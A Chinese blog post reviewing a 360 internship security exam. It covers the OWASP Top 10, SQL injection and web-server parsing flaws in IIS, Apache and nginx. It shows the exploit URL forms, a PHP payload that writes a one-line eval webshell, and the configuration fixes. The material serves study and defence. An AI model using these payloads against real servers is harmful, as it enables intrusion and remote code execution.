Loading


目录
  1. 1. 选择
  2. 2. 问答题
    1. 2.1. OWASP TOP10
  3. 3. SQLi的原理和防御
  4. 4. 常见的容器解析漏洞的利用和修复方法
    1. 4.1. (一)IIS5.x-6.x解析漏洞
    2. 4.2. (二)Apache解析漏洞
      1. 4.2.1. 影响版本
    3. 4.3. (三)nginx解析漏洞
      1. 4.3.1. 影响版本
    4. 4.4. (四)IIS7.5解析漏洞
360笔试总结

360 2020届暑期实习笔试

选择

  1. Linux
    1. 查找文件
    2. iptables操作
    3. 文件系统
    4. 用户组权限
    5. Linux下加载动态库顺序
  2. DDOS防御向
    1. SYNflooding
  3. OSI网络模型
    1. SYNfloding属于哪一层
  4. SQLi基本知识
  5. 计网知识
    1. TCP三次握手
  6. 安卓逆向
  7. 交换机命令
  8. ……….

问答题

OWASP TOP10

  1. 注入

  2. 敏感信息泄露

  3. 失效的身份验证和会话控制

  4. XML外部实体(XXE)

  5. 失效的访问控制

  6. 安全配置错误

  7. 跨站脚本(XSS)

  8. 不安全的反序列化

  9. 使用含有已知漏洞的组件

  10. 不足的日志记录和监控

SQLi的原理和防御

原理(成因):SQL 注入漏洞存在的原因,就是拼接 SQL 参数。也就是将用于输入的查询参数,直接拼接在 SQL 语句中,导致了SQL 注入漏洞。

  1. 过滤
  2. 绑定变量+预编译

常见的容器解析漏洞的利用和修复方法

服务器解析漏洞一般是服务器自身或扩展组件带来的漏洞,配合文件上传等漏洞就会产生很大的危害。

我们这里整理常见的服务器apache、IIS、nginx的解析漏洞。

(一)IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa
/test.cer
/test.cdx

修复方案

  1. 目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
  2. 做好权限设置,限制用户创建文件夹。

(二)Apache解析漏洞

影响版本

  • Apache 2.0.x <= 2.0.59
  • Apache 2.2.x <= 2.2.17
  • Apache 2.2.2 <= 2.2.8

漏洞原理
  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.owf.rar .owf.rar这两种后缀是apache不可识别解析,apache就会把test.php.owf.rar解析成php。

漏洞形式
www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg即使扩展名是 jpg,一样能以 php 方式执行。

修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

(三)nginx解析漏洞

影响版本

%00截断

  • 0.5.*

  • 0.6.*

  • 0.7 <= 0.7.65

  • 0.8 <= 0.8.37 ?

CVE-2013-4547

  • 0.8.41~1.4.3
  • 1.5 <= 1.5.7

漏洞原理
  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME``传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAMEphpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP 
    fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

修复方案
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:

  if ( $fastcgi_script_name ~ ..*/.*php ) {
  return 403;
  }

这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

(四)IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

文章作者: Sp4ce
文章链接: https://0x20h.com/p/bf99.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sp4ce's Blog

评论